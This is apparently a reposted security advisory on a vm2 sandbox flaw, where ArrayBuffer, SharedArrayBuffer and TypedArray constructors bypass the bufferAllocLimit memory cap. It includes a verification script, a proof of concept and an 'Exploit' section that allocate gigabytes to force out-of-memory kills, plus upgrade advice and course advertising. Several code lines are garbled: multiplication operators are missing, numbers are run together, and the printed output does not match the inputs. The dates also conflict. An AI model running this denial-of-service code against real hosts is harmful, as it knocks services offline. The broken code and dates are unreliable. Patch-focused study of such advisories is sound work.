Listen to this Post
The `bufferAllocLimit` defense, originally introduced in vm2 v3.11.0 to mitigate GHSA-6785-pvv7-mvg7, can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any `TypedArray` constructor. The `bufferAllocLimit` option caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated `Buffer(N)` / `new Buffer(N)` forms, with the cap enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).
However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the same underlying C++ path (v8::ArrayBuffer::NewBackingStore → `ArrayBufferAllocator::Allocate` → calloc/malloc). These constructors are not intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8’s timeout cannot interrupt.
The vulnerability affects vm2 version 3.11.3 (and all versions < 3.11.6), all Node.js versions, and any configuration including default `new VM()` or any configuration including bufferAllocLimit.
DailyCVE Form:
Platform: vm2
Version: < 3.11.6
Vulnerability: DoS Memory Exhaustion
Severity: High (CVSS 7.5)
date: 2026-08-17
Prediction: 2026-08-14 (fixed in v3.11.6)
What Undercode Say:
Verification script to confirm the bypass
node -e '
const {VM} = require("vm2");
const vm = new VM({bufferAllocLimit: 1010241024});
try { vm.run("Buffer.alloc(2010241024)"); } catch(e) { console.log("Buffer BLOCKED"); }
console.log("ArrayBuffer:", vm.run("new ArrayBuffer(10010241024).byteLength"), "bytes allocated");
console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(10010241024).byteLength"), "bytes allocated");
'
Output:
Buffer BLOCKED
ArrayBuffer: 104857600 bytes allocated
SharedArrayBuffer: 104857600 bytes allocated
// Full Proof of Concept
const { VM } = require('vm2');
// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 1024 1024 }); // 10MB cap
// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 1024 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"
// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 1024 1024)'); // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 1024 1024)'); // 1GB allocated!
vm.run('new Uint8Array(1024 1024 1024)'); // 1GB allocated!
vm.run('new Float64Array(128 1024 1024)'); // 1GB allocated!
// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(10010241024))');
// → 10GB allocated → host OOM killed
Exploit: (Educational Purposes!)
// Single-shot host memory exhaustion
const { VM } = require('vm2');
const vm = new VM({ bufferAllocLimit: 10 1024 1024 });
vm.run('new ArrayBuffer(2 1024 1024 1024)'); // 2GB synchronous allocation
// Loop-based memory exhaustion for constrained environments
vm.run(<code>var bufs = [];
for (var i = 0; i < 50; i++) {
bufs.push(new ArrayBuffer(100 1024 1024));
}</code>);
Protection:
– Upgrade to vm2 version 3.11.6 or later, which patches this bypass.
– If upgrading is not immediately possible, avoid running untrusted sandbox code in memory-constrained environments (Docker, Kubernetes, AWS Lambda) where a single allocation can trigger OOM kill.
– Consider using alternative sandboxing solutions with more comprehensive memory control (e.g., isolated worker threads with resource limits, or container-level memory cgroups).
Impact:
– Type: Denial of Service (Host Memory Exhaustion)
– Attack Complexity: Low
– Availability Impact: Complete — host process OOM killed in memory-constrained environments
– Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits
– Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
